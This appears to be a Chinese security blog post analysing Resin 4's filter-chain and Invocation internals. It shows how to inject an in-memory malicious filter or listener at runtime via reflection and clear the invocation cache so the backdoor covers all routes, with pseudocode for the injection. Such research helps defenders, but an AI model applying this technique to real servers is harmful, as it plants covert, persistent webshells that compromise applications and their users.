idea2024没有之前的那个resin插件了,推荐这个大佬的插件https://github.com/chao2hang/resin\_idea/releases/tag/1.0
idea导入即可
官方文档提到resin的filter遵循Servlet的规范,那整体思路应该也是差不多的,只不过tomcat管理这些filters和resin的管理方式或者说具体的功能类不同。resin服务中也应该会存在一个上下文的web应用管理器,类似于context。
写一个filter其实也就是一样的,只不过这里写的servlet是3.0的,包名是从javax开始。然后注册也是写在web.xml中。
写一个样例:
package org.main;
import javax.servlet.*;
import java.io.IOException;
public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
System.out.println("TestFiltering....");
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
然后web.xml注册一下全路由,在dofilter这里打个断点就可以开始看resin的调用堆栈结构了。
这里比较奇怪的一点是在ServletInvocation的service方法之后有很多的filterchain,这些在官网的filters文档中提到了,是resin自带的,我们可以在com.cauho.filters包下找到这些自带的filter。
这个类我们之后会经常遇到。当一个web请求发过来的时候,resin一定会创建一个Invocation用来进行帮助请求处理和管理各种内存上下文对象。简单一点说就是起到一个桥梁的作用,用于存储上下文信息,包括request和response。
当然,它的生命周期始于一次路由的请求,终结于一次路由请求的结束。具体到堆栈和代码中,开始就是HttpRequest调用handleRequest中,resin首先需要获取到invocation,然后通过调用它的service方法来继续处理请求的逻辑。
创建invocation要用到很多层buildInvocation,之后没必要一一跟进,我采取的分析方法是直接定位到调用测试用例的filter之前的那一层doFilter,然后观察测试用例Filter是如何装载进流程的。
resin的很多功能都是通过filter实现的,所以我们一上来先默认分析resin-filter的注入流程。最后再补充listener的逻辑
还是一样的调试方法,自建一个servlet,然后在他的service方法或者继承Httpservlet,在它的doGet或者doPost方法那里下个断点,开始调试。
这里HttpRequest的handleRequest走完之后是创建invocation,对于嵌套的流程idea会自动省略内部,只留外部,理论上还是创建完invocation才开始调其service方法。
这里看到每一个FilterChain的doFilter方法,比如WebAppFilterChain的doFilter。它最后是调用了this._next的doFilter。
然后是最后的filterfilterChain,他是调用到了this._filter的doFilter。
而当我们回到TestFilter的dofilter,实际上还是继续调用this._next的dofilter方法。只不过下一个filterchain是servletfilterchain,就直接开始调servlet的逻辑了。
说这么多其实是就是为了说明一个点。resin中间件的功能有很多都是通过filterchain实现的,他有很多filterchain,不像Tomcat中的filter更像是一个扩展功能。
观察前面提到的Invocation调用栈和动调试一下,发现实际上所有的filterchain都是在WebApp的buildInvocation方法中进行的。但是代码内容太多了,建议师傅们在看的话就自己调试到com.caucho.server.webapp.WebApp的buildInvocation方法即可,这里能关系到我们自建filter创建的只有一行代码,下文会提到
invocation的生命周期在上文提到过,当我们第一次请求一段路由时,由于内存中并没有当前路由对应的缓存,所以在AbstractHttpRequest的getInvocation方法中的if (invocation != null) {判断无法通过,直接进else读取当前请求的host和port来创建invocation。后续就会经过多层的invocation的创建封装,所有的filterchain是在最后的WebApp的buildInvocation中加载的。
而buildInvocation的内容中关于filterfilterchain的创建是this._filterMapper.buildDispatchChain((Invocation)invocation, chain);这条代码实现的。说白了也就是filterMapper的功能。
buildDispatchChain的具体的内容如下,有两段差不多的synchronized逻辑,唯一的区别在if (map.isMatch(invocation)),第一个synchronized中是if (map.isMatch(invocation.getServletName())),整个流程中都没有往filterMapping中写servletName,所以只有在第二段synchronized代码段中才会匹配到对应的filter,我们也只看第二段synchronized:
synchronized(this._filterMap) {
for(i = this._filterMap.size() - 1; i >= 0; --i) {
map = (FilterMapping)this._filterMap.get(i);
if (map.isMatch(invocation)) {
filterName = map.getFilterName();
filter = this._filterManager.createFilter(filterName);
config = this._filterManager.getFilter(filterName);
if (!config.isAsyncSupported()) {
invocation.clearAsyncSupported();
}
chain = this.addFilter(chain, filter);
}
}
先看if (map.isMatch(invocation)),具体跟进到isMatch:
你会发现出了匹配servletName之外,还会循环匹配filterMapping中的matchList变量,要实现往这个matchList中写入对应的内容,需要调用到filterManager的addfilterMapping方法。根据传入的filterMapping中的urlPattern配置进行matchlist的写入
回到synchronized的代码块内容,chain = this.addFilter(chain, filter);这里的chain返回值是filterfilterchain,也就是会调用到真正的filter。那么要能够创建出我们自己的filterfilterchain,调用addfilter方法时需要传入两个参数,chain和filter。chain其实不用管,他是servletChain,是调用栈一路传过来的,而filter是调用filterManager的createFilter方法创建的:this._filterManager.createFilter(filterName);filterName又是从filterMapping中取出的。所以,只要我们能否够往filterMapping里面写入我们自己的filter和配置内容就能够在流程中创建出filterfilterchain。
跟进filterManager的createFilter方法,对应的分析写在注释中
public Filter createFilter(String filterName) throws ServletException {
//从当前_filters变量中根据filterName取出对应的config,然后判断config是否为空,如果为空的话就直接抛错了。
FilterConfigImpl config = (FilterConfigImpl)this._filters.get(filterName);
if (config == null) {
throw new ServletException(L.l("`{0}' is not a known filter. Filters must be defined by before being used.", filterName));
} else {
Class<?> filterClass = config.getFilterClass();
synchronized(config) {
Filter var10000;
try {
//第一处获取到filter的地方。我们其实可以直接往_instances中put自建的filter和filtername
Filter filter = (Filter)this._instances.get(filterName);
if (filter != null) {
var10000 = filter;
return var10000;
}
InjectManager beanManager = InjectManager.create();
this._bean = beanManager.discoverInjectionTarget(filterClass);
//config由于我们一直要用到,包括写入对应的路由urlpattern,存储filter的class和name等
//所以这种将对应filter写入config的方式也是可以的,一劳永逸。
filter = config.getFilter();
CreationalContext env = beanManager.createCreationalContext((Contextual)null);
if (filter == null) {
//如果两者都没有选择,最后还是会通过InjectionTarget反射构造出filter。并且由于我们注入器构造filter的时候会默认使用当前resin容器的类加载器进行defineClass
//所以当前的InjectManager能够在内存中找到我们指定的恶意filter
filter = (Filter)this._bean.produce(env);
}
this._bean.inject(filter, env);
ContainerProgram init = config.getInit();
if (init != null) {
init.configure(filter);
}
this._bean.postConstruct(filter);
filter.init(config);
this._instances.put(filterName, filter);
var10000 = filter;
.....
}
后续我就默认filterMapping和config是同一个东西了。
总结一下要做的事情就开始具体的写入:
下面就是具体实现了
FilterManager中关注一个点,最终createFilter方法中第一行FilterConfigImpl config = (FilterConfigImpl)this._filters.get(filterName);取config是从当前变量_filters中取出的。这个filters在FilterManager中有一个方法可以写入,addFilter:
public void addFilter(FilterConfigImpl config) {
if (config.getServletContext() == null) {
throw new NullPointerException();
} else {
this._filters.put(config.getFilterName(), config);
}
}
然后是filterMapper中的_filterMap变量需要写入我们自己的filterMapping(本质是config)。这里可以找到filterMapper中的addFilterMapping方法
它不仅仅是往filterMap写入了filterMapping,而且还帮我们调用了filterManager的addFilter。可谓是一举两得。
public void addFilterMapping(FilterMapping mapping) throws ServletException {
try {
String filterName = mapping.getFilterName();
if (filterName == null) {
filterName = mapping.getFilterClassName();
}
if (mapping.getFilterClassName() != null && this._filterManager.getFilter(filterName) == null) {
this._filterManager.addFilter(mapping);
}
if (this._filterManager.getFilter(filterName) == null) {
throw new ServletConfigException(L.l("'{0}' is an unknown filter-name. filter-mapping requires that the named filter be defined in a configuration before the .", filterName));
} else {
this._filterMap.add(mapping);
log.fine("filter-mapping " + mapping + " -> " + filterName);
}
......
}
首先先看一下我默认filterMapping就是FilterConfig的原因
也就是说我们之前逻辑中调用到的Config和filterMapping都是同一个类。setfilterName,setfilterClass,setfilter这三个方法是FilterConfigImpl中的,对应的urlpattern路由构造是在filterMapping中的。
还有一个一直没有提到的内容就是我们如何获取到resin这个容器中的filterManger和filterMapper类呢?目标肯定是获取WebApp类。
一开始我们就提到过Invocation的作用,在调试的观察调用栈我们能够从ServletInvocation中看到有一个变量存储了WebApp变量
初步采用java-object-searcher去搜索ServletInvocation的时候发现怎么去设置挖掘深度都无法找到存储该变量的线程。这我就很纳闷了,参考了一下JMG中的做法,我们只要能够加载到ServletInvocation即可,不需要从线程中直接循环遍历取出ServletInvocation或webApp。如何去加载,实际上还是通过遍历线程之后调用线程的累加载器全类名加载ServletInvocation
for (Thread thread : threads) {
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
if (webApp != null && visited.add(webApp)) {
contexts.add(webApp);
}
}
之后就可以拿着这个webApp去获取FilterMapper和filterManager了。我个人是比较喜欢Pen4uin师傅的这个方法。当然直接去通过java-object-searcher搜索webApp,也能够得到不少的方式。
最终构造的伪代码如下:
for (Thread thread : threads) {
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class\[0\], new Object\[0\]);
}
FilterMapping=context.getDeclaredField("\_filterManager").get(WebApp);
FilterMapping.setFilterName("EvilFilter");
FilterMapping.setFilterClass("org.test.EvilFilter");
UrlPattern urlpattern=FilterMapping.createUrlPattern();
urlpattern.addText("/\*");
WebApp.addFilterMapping("FilterMapping");
WebApp.clearCache();
其实listener更加容易,因为不需要添加路由,直接就调用WebApp的addListenerObject就行
for (Thread thread : threads) {
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class\[0\], new Object\[0\]);
}
WebApp.addListenerObject(new EvilListener(),true);
WebApp.clearCache();
我相信师傅们跟进了Invocation的的创建流程就会心里一直有个疙瘩:如果我们继续请求这段老的路由,此时能够从缓存中读取到对应的Invocation,我们就不会进入buildInvocation的流程,新写入内存的filter配置也就不会加载出来了。这里我思考了很久,最终在Pen4uin师傅的JMG的实现代码中找到了解决办法invokeMethod(context, "clearCache");清除此时WebApp的缓存。上面实现的伪代码中最后添加的clearCache就是这个原因。这样做的效果就是,当我们通过Test.jsp或者Test路由以代码执行的方式打入内存马之后,当前业务的所有路由对应的invocation缓存都将被清除,要开始重新buildInvcation。
//server的getInvocation方法本质是就是匹配缓存的标识符,此时我们已经通过`clearCache`将其清除,旧路由的缓存没有了
//那么在此之后的所有缓存都将重新加载,我们注入恶意filter也将通过filterMapper和filterManager中新的内容加入创建
Invocation invocation = server.getInvocation(this._invocationKey);
if (invocation != null) {
return invocation.getRequestInvocation(this._requestFacade);
} else {
invocation = server.createInvocation();
invocation.setSecure(this.isSecure());
if (host != null) {
String hostName = host.toString().toLowerCase(Locale.ENGLISH);
invocation.setHost(hostName);
invocation.setPort(this.getServerPort());
int p = hostName.lastIndexOf(58);
int q = hostName.lastIndexOf(93);
if (p > 0 && q < p) {
invocation.setHostName(hostName.substring(0, p));
} else {
invocation.setHostName(hostName);
}
}
return this.buildInvocation(invocation, uri, uriLength);
}
而此时我们又往filterMapper和filterManager中增加了新的filter,当buildInvcation进行到WebApp的创建buildDispatchChain的时候会将他们一一重新加载。
最终也就实现了全路由可加载恶意组件了,不然之前web服务中调用过的所有路由(包括不存在的路由你去访问得到404)都会直接调用旧的的invocation。
还有两个问题没有讲清楚,我个人不太满意的地方是在WebApp的获取的,当时实在没办法,去看了很多师傅的文章,由于年代久远,我比较了几份获取WebApp的方法,一直想找到一个能够通用全版本resin的方法,就像Tomcat那样。那很明显结果是我失败了,沿用了jmg中的思路(本身我觉得就很好,也很精辟)。其他的直接通过内存反射调用获取到FilterMapper和filterManager当然也可取,也值得学习。
测试的环境是本地resin4.0.67免费版,然后是JDK8,关于最后的请求缓存,我自己是没有找到相关文章关于清除缓存具体到哪一行代码,只是我一开始就注意到了这个问题,并且一直留在心中,再次阅读Pen4uin师傅的源码之后发现居然可以通过WebApp的clearCache实现缓存清除。然后自己实验的时候是通过去除改行反射调用之后分别注入,然后再去访问旧路由连接,确实可行。
感谢师傅们的文章。
3 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!